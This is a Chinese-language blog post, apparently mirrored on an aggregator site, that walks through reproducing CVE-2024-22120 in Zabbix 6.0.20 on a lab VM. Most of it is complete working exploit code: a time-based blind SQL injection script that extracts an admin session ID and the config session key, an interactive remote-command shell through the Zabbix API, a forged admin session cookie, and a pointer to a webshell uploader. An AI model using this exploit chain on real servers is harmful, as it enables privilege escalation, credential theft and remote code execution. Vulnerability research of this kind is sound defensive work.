当前位置： 首页 > article >正文

CVE-2024-22120：Zabbix低权限SQL注入至RCE+权限绕过

article 2024/10/21 4:18:41

所有利用代码：

GitHub - W01fh4cker/CVE-2024-22120-RCE: Time Based SQL Injection in Zabbix Server Audit Log --> RCE

一、漏洞环境搭建

1.1 下载vmware镜像并设置

直接懒人一键搭建：

https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz

解压之后，vmware直接打开vmx文件，默认账号密码是root/zabbix。

登录之后执行命令visudo，在底下添加一行：

zabbix ALL=(ALL) NOPASSWD:ALL

img

如果后续在web界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试，反正我只加这一行就行了：

Detect operating system [zabbix] - 过去的我 - 博客园

为了方便测试，我们可以本地navicat连接环境的mysql数据库：

mysql -uroot
SET PASSWORD = 'zabbix'; 
use mysql;
select host, user from user;  
update user set host = '%' where user ='root';
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
exit
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
yum install policycoreutils -y
这里也可以不用如此繁琐
直接iptables -F 清空防火墙，然后保存
service iptables save

1.2 漏洞环境设置

然后就是需要一些设置，首先需要添加一个用户，但是默认的User Role是没有HOSTS的查看权限的，所以需要先去开权限：

img

img

然后至少给一个读的权限，并点击Add：

img

img

现在开始添加用户：

img

组就选我们刚刚设置过的Guests：

img

角色选择User Role：

img

需要一个低权限用户，并且该用户需要具有Detect operating system的权限，但是这个操作默认的是没有的，只有管理员用户组才有：

img

需要手动设置用户组为全部或者Guests：

img

img

到这里环境搭建完成。

二、漏洞复现

2.1 验证漏洞存在并获取管理员session id和session key

漏洞作者给出的脚本如下：

https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py

他说可以延迟获取管理员的session id，但是我本地复现的时候获取的全0：

img

登录数据库发现，有多个sessionid，需要加一个limit 1：

img

因此我们可以修改代码如下：

import json
import argparse
from pwn import *
from datetime import datetime
​
def send_message(ip, port, sid, hostid, injection):
    zbx_header = "ZBXD\x01".encode()
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "3",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }
    message_json = json.dumps(message)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()
    #print("Sending message %s" % message)
    r = remote(ip, port, level='debug')
    r.send(message)
    response = r.recv(1024)
    r.close()
    print(response)
​
def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            print("\n(+) trying c=%s" % c, end="", flush=True)
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, end="", flush=True)
                break
    print("\n")
    return session_id
​
def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            print("\n(+) trying c=%s" % c, end="", flush=True)
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+) session_key=%s" % token, end="", flush=True)
                break
    print("\n")
    return token
​
def tiny_poc(ip, port, sid, hostid):
    print("(+) Running simple PoC...\n", end="", flush=True)
    print("(+) Sleeping for 1 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(1))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query-before_query))
    print("(+) Sleeping for 5 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(5))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query - before_query))
    print("(+) Sleeping for 10 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(10))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query - before_query))
​
def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
    print("(+) Sending SQL request for MySQL version...\n", end="", flush=True)
    query = "(version())"
    send_message(ip, port, sid, hostid, query)
​
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Command-line option parser example')
    parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1")
    parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10")
    parser.add_argument("--ip", help="Zabbix server IP")
    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
    parser.add_argument("--sid", help="Session ID of low privileged user")
    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
    parser.add_argument("--poc", action='store_true', help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server", default=False)
    parser.add_argument("--poc2", action='store_true', help="Use this key to simply generate error in zabbix logs, check logs later to see results", default=False)
    args = parser.parse_args()
    if args.poc:
        tiny_poc(args.ip, int(args.port), args.sid, args.hostid)
    elif args.poc2:
        poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid)
    else:
        print("(+) Extracting admin session_id...")
        admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        print("(+) admin session_id=%s\n" % admin_sessionid, end="", flush=True)
        print("(+) Extracting Zabbix config session key...\n", end="", flush=True)
        config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        print("(+) config session_key=%s\n" % config_session_key, end="", flush=True)
        print("(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key" % (config_session_key, admin_sessionid))

这样就可以正确获取啦：

img

有了这个就可以实现RCE了，请看后文。

然后是poc2：

python main.py --ip 192.168.198.136 --sid 4d2b6a02bfe2bc7d6fde50e8fe646621 --hostid 10084 LOG_LEVEL=error --poc2

然后查看日志：

cat /var/log/zabbix/zabbix_server.log | grep "version()"

img

2.2 利用获取到的管理员session id实现RCE

import requests
import json
​
ZABIX_ROOT = "http://192.168.198.136"
url = ZABIX_ROOT + "/api_jsonrpc.php"
host_id = "10084"
session_id = "00000000000000000000000000000000"
headers = {
    "content-type": "application/json",
}
auth = json.loads('{"jsonrpc": "2.0", "result": "' + session_id + '", "id": 0}')
​
while True:
    cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
    if cmd == "":
        print("Result of last command:")
    elif cmd == "quit":
        break
    payload = {
        "jsonrpc": "2.0",
        "method": "script.update",
        "params": {
            "scriptid": "1",
            "command": "" + cmd + ""
        },
        "auth": auth['result'],
        "id": 0,
    }
    cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers)
    payload = {
        "jsonrpc": "2.0",
        "method": "script.execute",
        "params": {
            "scriptid": "1",
            "hostid": "" + host_id + ""
        },
        "auth": auth['result'],
        "id": 0,
    }
    cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
    cmd_exe_json = cmd_exe.json()
    if "error" not in cmd_exe.text:
        print(cmd_exe_json["result"]["value"])
    else:
        print(cmd_exe_json["error"]["data"])

2.3 利用获取到的管理员session id和session key构造zbx_session登录管理界面

作者在报告中提了一嘴有session_id和session_key就可以得到sign值，然后就可以拼出zbx_session：

网上也没找到相应的成品代码，那就去翻源码。

zabbix-6.0.20\ui\include\classes\core\CCookieSession.php这里面的代码是用来处理和session相关的操作的，代码也是写的通俗易懂：

img

img

就是做一个SHA256的hash操作，那感情好啊，直接写出php形式的poc：

<?php
    function sign(string $data): string {
        $key = "927f855d3388d6daedb153d3de864970";
        return hash_hmac("sha256", $data, $key);
    }
    function prepareData(array $data): string {
        $data['sign'] = sign(json_encode($data));
        return base64_encode(json_encode($data));
    }
    function set(string $key, $value):array {
        $_SESSION[$key] = $value;
        return $_SESSION;
    }
set("sessionid", "be52fe697c5935099d441f03c5c68bff");
set("serverCheckResult", true);
$session_ = set("serverCheckTime", time());
$res = prepareData($session_);
echo $res;
?>

改成python代码的时候需要注意字典的item的位置问题，示例代码如下：

def GenerateAdminSession(sessionid, session_key):
    def sign(data: str) -> str:
        key = session_key.encode()
        return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()
​
    def prepare_data(data: dict) -> str:
        sorted_data = OrderedDict(data.items())
        sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
        return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')
​
    session = {
        "sessionid": sessionid,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }
    res = prepare_data(session)
    return res

完整的代码：

import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime
​
def SendMessage(ip, port, sid, hostid, injection):
    context.log_level = "CRITICAL"
    zbx_header = "ZBXD\x01".encode()
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "1",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }
    message_json = json.dumps(message)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()
    r = remote(ip, port, level="CRITICAL")
    r.send(message)
    r.recv(1024)
    r.close()
​
def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+) session_key=%s" % token, flush=True)
                break
    return token
​
def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, flush=True)
                break
    return session_id
​
def GenerateAdminSession(sessionid, session_key):
    def sign(data: str) -> str:
        key = session_key.encode()
        return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()
​
    def prepare_data(data: dict) -> str:
        sorted_data = OrderedDict(data.items())
        sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
        return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')
​
    session = {
        "sessionid": sessionid,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }
    res = prepare_data(session)
    return res
​
def CheckAdminSession(ip, admin_session):
    proxy = {
        "https": "http://127.0.0.1:8083",
        "http": "http://127.0.0.1:8083"
    }
    url = f"http://{ip}/zabbix.php?action=dashboard.view"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Cookie": f"zbx_session={admin_session}"
    }
    resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
    if "Administration" in resp.text and resp.status_code == 200:
        return admin_session
    else:
        return None
​
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-22120-LoginAsAdmin")
    parser.add_argument("--false_time",
                        help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
                        default="1")
    parser.add_argument("--true_time",
                        help="Time to sleep in case of right guess(make it bigger than false time, default=10)",
                        default="10")
    parser.add_argument("--ip", help="Zabbix server IP")
    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
    parser.add_argument("--sid", help="Session ID of low privileged user")
    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
    args = parser.parse_args()
    admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    admin_session = GenerateAdminSession(admin_sessionid, session_key)
    res = CheckAdminSession(args.ip, admin_session)
    if res is not None:
        print(f"try replace cookie with:\nzbx_session={res}")
    else:
        print("failed")

完整的演示效果如下：

可以看到这里是用户vulntest的界面：

img

然后运行拿到session：

img

替换cookie中对应的参数，然后刷新：

img

即可看到是Zabbix Administrator了，实现了从用户界面到管理界面的转换：

img

2.4 写Webshell

没有花时间研究其他办法了，因为运行用户是zabbix，等级太低了，所以默认情况下是没权限去echo写马的，但是我还是把对应的脚本传上去了：

CVE-2024-22120-RCE/CVE-2024-22120-Webshell.py at main · W01fh4cker/CVE-2024-22120-RCE · GitHub

img

网上对于这方面的研究不多，看到一篇灼剑安全团队的N0r4h师傅写的文章：

实战-艰难的一次zabbix getshell

他也提到了无法直接echo写马，但是他当时遇到的环境是存在pkexec的，所以有了后续的利用。

img

但是默认肯定是没有的：

img


http://www.kler.cn/news/358223.html

相关文章：

  • Axure使用echarts详细教程
  • 优阅达携手 Theobald 亮相新加坡科技周，助力企业 SAP 数据集成与应用
  • 基于Python实现“科研通”自动签到
  • 点评项目-7-缓存击穿的两种解决方案、缓存工具类的编写
  • 计算机毕业设计选题推荐-动漫番剧推荐系统-Python项目实战
  • 看门狗（基于ESP-IDF）
  • JavaWeb 24.Vue3的简介和快速体验
  • QT实现校园导航
  • 每日OJ题_牛客_chika和蜜柑_TopK_C++_Java
  • 【Linux 从基础到进阶】AppArmor 安全模块应用指南
  • 【Next.js 项目实战系列】08-数据处理
  • Webpack一键打包多个环境
  • ajax嵌套ajax实现不刷新表单并向指定页面二次提交数据
  • MySQL上新：MySQL 9.1.0发布
  • Ubuntu下安装并初始化Git同时添加SSH密钥
  • 排序算法 —— 直接插入排序
  • Damn-Vulnerable-Drone：一款针对无人机安全研究与分析的靶机工具
  • 深度学习：终身学习（Life-Long Learning）详解
  • 域7：安全运营 第17章 事件的预防和响应
  • 【热门主题】000006 案例 探索云原生后端：创新与挑战